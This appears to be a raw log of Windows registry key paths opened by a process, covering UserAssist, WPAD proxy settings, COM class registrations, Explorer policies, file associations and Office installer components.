HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Fxlcr.FxlcrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\pbz.fdhveery.Fynpx.fynpx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Fcrppl\Fcrppl64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{51325390-NR6N-68SP-N315-0950PP83N166}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{30OQ9N02-PO9N-93SQ-N859-09P8803S2346}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\IvqrbYNA\IYP\iyp.rkr
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_LargeMFUIcons
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_LargeMFUIcons
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1e4\52C64B7E
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Interval
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Shuffle
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\AnimationDuration
HKEY_LOCAL_MACHINE\Control Panel\Personalization\Desktop Slideshow
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Flags
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\Interface\{26656EAA-54EB-4E6F-8F85-4F0EF901A406}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{26656EAA-54EB-4E6F-8F85-4F0EF901A406}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{26656EAA-54EB-4E6F-8F85-4F0EF901A406}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{8A40A45D-055C-4B62-ABD7-6D613E2CEAEC}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8A40A45D-055C-4B62-ABD7-6D613E2CEAEC}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8A40A45D-055C-4B62-ABD7-6D613E2CEAEC}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{55272A00-42CB-11CE-8135-00AA004BB851}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{55272A00-42CB-11CE-8135-00AA004BB851}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{55272A00-42CB-11CE-8135-00AA004BB851}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocHandler
HKEY_LOCAL_MACHINE\Software\Microsoft\OleAut
HKEY_CURRENT_USER\Software\Classes\Interface\{BCD1DE7E-2DB1-418B-B047-4A74E101F8C1}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BCD1DE7E-2DB1-418B-B047-4A74E101F8C1}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BCD1DE7E-2DB1-418B-B047-4A74E101F8C1}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{2A1C9EB2-DF62-4154-B800-63278FCB8037}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2A1C9EB2-DF62-4154-B800-63278FCB8037}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2A1C9EB2-DF62-4154-B800-63278FCB8037}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadExpirationDays
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDhcp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDns
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDetectedUrl
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDhcp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDns
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDetectedUrl
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\52-54-00-6f-d4-05
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadNetworkName
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\648fa520
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\NoFileFolderConnection
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Sorting\Versions\00060101.00060101
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a658-2730-11e9-8620-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a658-2730-11e9-8620-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{9a0b8d7d-300f-11ea-b342-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{9a0b8d7d-300f-11ea-b342-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a657-2730-11e9-8620-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{80b5a657-2730-11e9-8620-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.exe\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\PropertySystem\PropertyHandlers\.exe\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\DisableProcessIsolation
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\NoOplock
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\UseInProcHandlerCache
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\UseOutOfProcHandlerCache
HKEY_CURRENT_USER\Software\Classes\Directory\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\DocObject
HKEY_CURRENT_USER\Software\Classes\Directory\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\BrowseInPlace
HKEY_CURRENT_USER\Software\Classes\Directory\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\IsShortcut
HKEY_CURRENT_USER\Software\Classes\Directory\AlwaysShowExt
HKEY_CURRENT_USER\Software\Classes\Directory\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AllFilesystemObjects\NeverShowExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MaxUndoItems
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Advanced\MaxUndoItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ForceCopyACLWithFile
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\MoveSecurityAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoEncryptOnMove
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\NeverShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesRemovedChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband\FavoritesChanges
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\InProcServer32\LoadWithoutCOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes\Tahoma
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\TaskbarAnimations
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SortOrderIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\WORDFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\WORDFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E628C910A54494645A0BB00FF8CCE4EE\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AD4E638E8714C454FA1AD399C0E81909\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\463248DC02BD31044AFEAB6A1D3BFBE6\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\CAB7071E27686994093945B9EE85F69D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4F50307A57404AD4282F43A591BABC84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\05CEA9EC5FEA8574EA748DE4ABC952AD\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0B5C02588961CF8428890C980B9F3DD0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\48FFDCEC1CCE7B146B1F44066D670F84\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\86EE1DEB37E43BC4896128BBFE2A7072\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\ECC2F8AF995B1E048AE100547214DD98\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2827EAF21BE7F6242AD913C730BED551\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3E86E599144A2D746BA40C2232590D88\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\704E36BA4C4DBA646A5E43B4B0371DE5\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9370566BA71EE254A98F81D710DB3729\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\67048BE96D0EED647B717B079F26CEA0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Features\00004109110000000000000000F01FEC\ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109110000000000000000F01FEC\Features\ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A609E893B628DD84791945C946C9CA5E\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E96B8FAE7CEA69C42B5B73BA69B21A71\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6F58FB719C858BF4EAF245AC9DA59D1D\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D90B8D0738CEDB14593B99ADD26D72C0\00004109110000000000000000F01FEC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\29731734CD2333940995A2B963A7E582\00004109110000000000000000F01FEC
